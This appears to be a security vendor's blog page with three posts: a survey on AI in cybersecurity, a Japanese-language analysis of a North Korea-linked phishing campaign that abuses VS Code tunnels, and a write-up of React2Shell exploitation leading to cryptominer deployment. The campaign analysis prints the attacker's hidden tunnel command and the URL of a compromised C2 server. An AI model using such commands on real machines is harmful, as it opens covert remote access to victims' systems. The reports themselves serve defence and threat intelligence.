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April 9, 2024

The State of AI in Cybersecurity: Unveiling Global Insights from 1,800 Security Practitioners

Part 1: This blog outlines Darktrace’s State of AI Cybersecurity research report, showing key findings from our global survey, covering the impacts AI has on the cyber threat landscape, cyber security solutions, and perceptions and priorities for security practitioners.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mitchell Bezzina
VP, Product and Solutions Marketing
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09
Apr 2024

What is the State of AI Cybersecurity Report?

We surveyed 1,800 CISOs, security leaders, administrators, and practitioners from industries around the globe. Our research was conducted to understand how the adoption of new AI-powered offensive and defensive cybersecurity technologies are being managed by organizations.

Here are some of the key findings from the report:

What is the impact of AI on the cyber threat landscape?

Today’s security stakeholders are already seeing AI’s impact on the threat landscape.

"74% of survey respondents agree that AI-powered cyber threats are having a significant impact on their organizations. However, 60% of respondents fear that their organizations are not adequately prepared to defend against AI-powered threats and attacks."

How is AI being applied in cyber-attacks?

Generative AI can be used to create large volumes of highly personalized phishing attacks and to change the signatures and hashes associated with malware files. Other AI tools can also scan environments for exploitable vulnerabilities.

However, operationalizing AI in a cyber-attack requires sophistication. In most cases, attackers tend to begin using AI by addressing the simplest use cases or “lowest-hanging fruit.”

Identifying exactly when and where AI is being applied is not always possible since there are few methods for doing so. Thus, defenders will need to focus their effort on preparing for threats that are coming at them faster than ever before.

How does AI affect cyber risk?

"71% of organizations have already taken strides to reduce the risks that come with AI’s adoption."

In terms of cyber risk, adopting AI technologies into the business also generates concern for industry professionals given the increased risk of exposing sensitive or proprietary information through employee use of third-party generative AI tools. The access to publicly-available, text-based generative AI systems to increase productivity opens the door to “shadow AI” in which individuals use these popular AI tools without organizational approval or oversight.

What is the impact of AI on cybersecurity solutions?

AI is poised to transform not just the threat landscape but the solution landscape as well, a fact defenders understand.

"95% of cybersecurity professionals agree that AI-powered solutions will level up their organizations’ defenses."

Survey participants believe that AI-powered security solutions are a must-have for countering the risks posed by AI-powered threats. However, cybersecurity vendors are racing to capitalize on buyer interest in AI by supplying solutions that promise to meet the increasing demands. But not all AI is created equal, and not all these solutions live up to the widespread hype.

"Improving threat detection (57%) and identifying exploitable vulnerabilities (50%) are the top ranked areas where respondents believe AI will make an impact."

However, survey participants may not fully understand how AI is applied to these aspects of cybersecurity. For example, generativeAI actually has little to no role to play in threat detection and proactive attack surface management. Generative AI does accelerate the data retrieval process within threat detection, can create quick incident summaries, automate low level tasks, and simulate phishing emails, but it does not improve the ability to detect novel attacks.

Understanding AI technologies in cybersecurity

A worldwide preoccupation with generativeAI may have colored perceptions of what AI is and where it’s most effectively applied.

"Only 26% of security professionals report a full understanding of the different types of AI in use within security products."

As the AI revolution unfolds, the speed at which vendors are introducing new AI-powered solutions far outpaces the rate at which practitioners are being trained how to use them.

There’s a strong need for greater vendor transparency, as well as efforts to educate end users so that they can better understand the technologies they are deploying.

Types of AI in cybersecurity

Supervised machine learning: Applied more often than any other type of AI in cybersecurity.Trained on human attack patterns and historical threat intelligence.

Natural language processing (NLP): Applies computational techniques to process and understand human language.

Large language models (LLMs): Applies deep learning models trained on massively large data sets to understand, summarize, and generate new content. Used in generative AI tools. The integrity of their output depends upon the quality of the data on which they were trained.

Unsupervised machine learning: Continuously learns from raw, unstructured data to identify deviations that represent true anomalies.

The more attention AI technology gets in cybersecurity, the higher expectations tend to be. As leaders and practitioners discover more about AI, they will need to learn when and where to use it – and how to offset the potential risks that various models and approaches can bring.

Cybersecurity practitioners’ priorities and objectives

Although security stakeholders are aware that the rise of AI will require them to implement new tools and deploy more advanced capabilities in certain areas, they still entertain multiple different – and sometimes conflicting – opinions about planning for the future.

"88% of cybersecurity professionals prefer a platform approach over individual point products."

Respondents expressed a strong preference for a platform- centric approach in their cybersecurity solution stacks. This is undoubtedly due to a far-reaching desire to reduce cost and complexity.

Even more widespread was agreement that organizations prefer to purchase new security capabilities within a broader platform rather than as individual point products.

"Top priorities for improving their ability to defend against AI-driven threats include adding AI-powered tools to their solution stacks and improving toolset integration."

Many security teams are looking to their existing vendors first when thinking about adding AI-powered tools to their solution stack. This may be because:

  1. It takes more time and effort to replace existing tooling than it does to add onto the exiting stack.
  2. Trust has already been established within existing relationships. As long as this is valued, there will always be a need to integrate AI and non-AI solutions.

Download the report for more statistics and insight on the state of AI in cybersecurity.

Learn more about AI can help you secure your enterprise

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Mitchell Bezzina
VP, Product and Solutions Marketing

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January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

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はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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